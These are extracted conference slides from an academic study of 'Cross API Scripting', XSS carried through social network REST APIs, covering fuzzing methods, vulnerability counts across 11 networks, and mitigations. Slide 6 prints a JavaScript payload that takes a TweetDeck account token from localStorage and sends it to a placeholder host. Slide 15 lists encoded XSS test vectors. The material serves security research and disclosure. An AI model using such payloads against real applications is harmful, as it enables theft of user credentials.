24
Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Embed Size (px)

Citation preview

Page 1: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Cross-Site Scripting Attacks in Social Network APIs

Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Page 2: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

RESTful API

2

All kinds of Websites(e.g.

Social Network)

Third-Party Application Server

REST

XML-RPC

Third-Party Application Server

Third-Party Application Server

JavaScript

SOAP

Third-Party Application Server

18%

6%

3%

71%

Data From: http://www.bogotobogo.com/WebTechnologies/OpenAPI_RESTful.php 2012

Page 3: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

/request

RESTful API

3

Get everything you need from the server via a URL.

What is a RESTful API?

http://website.com/resources ?q=requestGETPOST

POSTDATA: q=requestThe server responses mainly in two formats: JSON and XML.The whole procedure follows the OAuth protocol.

Website(e.g. Social Network)

Third-Party Application Server

Request for authorization

Access Token

Request for resources

Response with resources

Page 4: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Cross Site Scripting in RESTful API

4

What happens when XSS meets RESTful API?

Website(e.g. Social Network)

Evil Code

Third-Party Application Server

Attacker

Victim

Can’t Execute

Visit

Upload Malici

ous Code

Response with escaped code

Response with un-

encoded code

Request for data

Visit

Can Execute

Evil Code

Resp

onse

with

un-

esca

ped

code

Evil Code

Evil Code

RESTful API

Cross API Scripting (XAS)

Page 5: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

XAS in Social Networks

5

Social Network

Mash-up Applications

Desktop Applications

Third-party Mobile Clients

Interconnected Services

Page 6: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

XAS in Mash-up Applications

6

function exploit() {alert(window.localStorage.getItem('tweetdeck_account'));document.all.imgtest.src="http://www.XXX.com/XXX.asp?name="+escape(document.title)+"&supper="+escape(window.localStorage.getItem('tweetdeck_account'));}setTimeout("exploit ()", 3000);

Page 7: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

XAS in Interconnected Services

7

Facebook

Page 8: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

XAS in Desktop Applications

8

Page 9: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

XAS in Third-party Mobile Clients

9

Vulnerable Not Vulnerablem.slandr.netdabr.co.uk

m.tweete.nettwetmob.com

itweet.netwww.tweetree.com

mobile.twitter.comtwittme.mobi

www.twittermobile.net

Nine Twitter mobile Web applications

Page 10: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

XAS in Social Networks

10

Page 11: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Affect multiple parties.

Differences from Traditional XSS

11

Malicious code transmitted through RESTful APIs.

Inherited social relationship.

Not limited by same-origin policy (SOP).

Page 12: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Commonly, there are two ways to escape user inputs:

Scheme I : to escape user inputs when they are sent to

the server and then stored in sanitized form in the

database.

Scheme II: to store user inputs as they are and to escape

them when they are displayed.

Scheme II must be done by third-party websites.

Fuzzing and Results

12

Page 13: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Fuzzing and Results

13

Open Platforms of Social Networks

Configuration Unit

API Parameter Configuring

Basic Parameter Configuring

Detection Unit

Open Authorization (OAuth)

Identifying API Flaws

Normalized API Lists

Raw API Lists

HTTP

Extracting APIs from open documents

RESTful API Calling Methodhttp://api.twitter.com/1/statuses/retweet/:id.json? text=testMsg POSThttps://graph.facebook.com/130***041/comments?message=Test GET

Auth_Method = OAuth2.0 CallMethod = POSTAPI_Provider = dev.facebook.com ParamsCount = 1API_Key = 191742207560268 Param0 = msgAPI_Secret = af6ddd003cc0e2de697ace0406d4dfc8 Type0 = StringResponse_Format = JSON Initial_value0 = TestScope = publish_stream, create_event, … DoTest0 = trueAuthorization_URI = https://www.facebook.com/dialog/oauthAccess_Token_URI= https://graph.facebook.com/oauth/access/tokenAPI_ URI=https://graph.facebook.com/***/comments?message=Test

Architecture overview of our tool identifying Web API flaws

Page 14: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Fuzzing and Results

14

Our tool identified ill-formed API responses: (1) Content-Type Header is incorrectly configured, e.g.

“Content-Type: text/html”; (2) The response is in HTML format rather than expected

JSON or XML.Our tool also identifies tainted API responses.

Page 15: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Tainted API Response

15

The API response contains the JavaScript code we inject as

API parameters.

The API response contains simple-escaped test vectors.

e.g. the character “/” is converted into “\/” and “"” into “\"”.

The API response contains the Unicoded or the Hex-encoded

form of the test vectors.

e.g. “\u003Cscript\u003E alert(131425);

\u003C\/script\u003E” and “\x3c iframe onload=alert

(/xas/)>\x3e”.

Page 16: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Challenges

16

URI path parameters.

Rate limiting.

Multiple OAuth versions.

“(/:\w+(-\w+)*)[/|\?|\.]

Page 17: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Fuzzing and Results

17

11 popular social networks were selected:

Twitter, Facebook, Foursquare, LinkedIn, Flickr, Tumblr, Renren,

Weibo, t.qq.com, t.163.com, t.sohu.com

143 web-based applications were probed.107 were found vulnerable to XAS.

Page 18: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Fuzzing and Results

18

Twitter Facebook Foursquare LinkedIn t.qq.com

The API Flaws

ISSRF √ × × × √ISDRF × √ - × ×

ICT √ √ × × √ICF √ × × × ×

VHT <p>, <a> <p> - - <a>

Tumblr Renren Weibo Flickr t.163.com t.sohu.com

The API Flaws

ISSRF × √ × √ √ ×ISDRF - √ √ × × ×

ICT × √ × √ √ √ICF × × × × √ √

VHT - <p> - <a> <a> -

ISSRF: Inconsistent HTML-escape Schemes for the Same Response Format ISDRF: Inconsistent HTML-escape Schemes for Different Response Format (JSON and XML). ICT: Incorrect Content-Type in API responses. ICF: Incorrect Content Format in API responses. VHT: Valid HTML Tags in normal API responses (VHT is not a flaw but a feature of tested APIs).“√” denotes the corresponding flaw exists. “×” denotes the corresponding flaw doesn’t exist. “-” for the API flaws denote XML response format is not supported. “-” for VHT denotes no valid HTML tags exist in the normal API responses.

API flaws and valid HTML tags discovered

Page 19: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Fuzzing and Results

19

The ratios for adopted HTML-escape schemes in tested APIs

0

10

20

30

40

50

60 Scheme II adopted Scheme I adopted

Websites

Num

ber o

f API

s

Page 20: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Fuzzing and Results

20

Twitter Facebook Foursquare LinkedIn t.qq.comScheme I - - - - 1/15Scheme II 13/21 17/19 7/8 8/9 9/15

API Response - - - - 1/15

Tumblr Renren Weibo Flickr t.163.com t.sohu.comScheme I - - - - 1/11 4/11Scheme II 3/5 11/12 17/21 9/11 5/11 -

API Response - - - - - 1/11

“-” denotes the website does not contain corresponding flaws of a certain cause. “A/B” denotes the ratio of XAS flaws due to a certain cause where “B” represents the total number of third-party applications we checked in the website and “A” represents the number of third-party applications containing XAS flaws of a certain cause.

The ratios of XAS flaws due to different causes

Page 21: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Mitigation

21

All the API responses should be set with proper Content-Type

headers.

User-input data from APIs should be sanitized.

Data should be loaded dynamically on the client side via

JSONP rather than statically on the server side.

Scheme I should be applied.

For Social Networks

Page 22: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Mitigation

22

The characters “<”, “>” and their valid encoding expressions

including the Hex-encoded and Unicoded ones in API

responses are all HTML-escaped.

The tags in the white list are once again unescaped to meet

the intention of normal API responses.

For Third-Party APP Developers

Page 23: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Conclusions

23

XSS in RESTful API (XAS) spreads widely and is different from

traditional XSS.

143 web-based applications in 11 popular social networks

were detected and 107 were found vulnerable to XAS.

Steps must be taken to mitigate problems.

Page 24: Cross-Site Scripting Attacks in Social Network APIs Yuqing Zhang, Xiali Wang, Qihan Luo, Qixu Liu

Thank You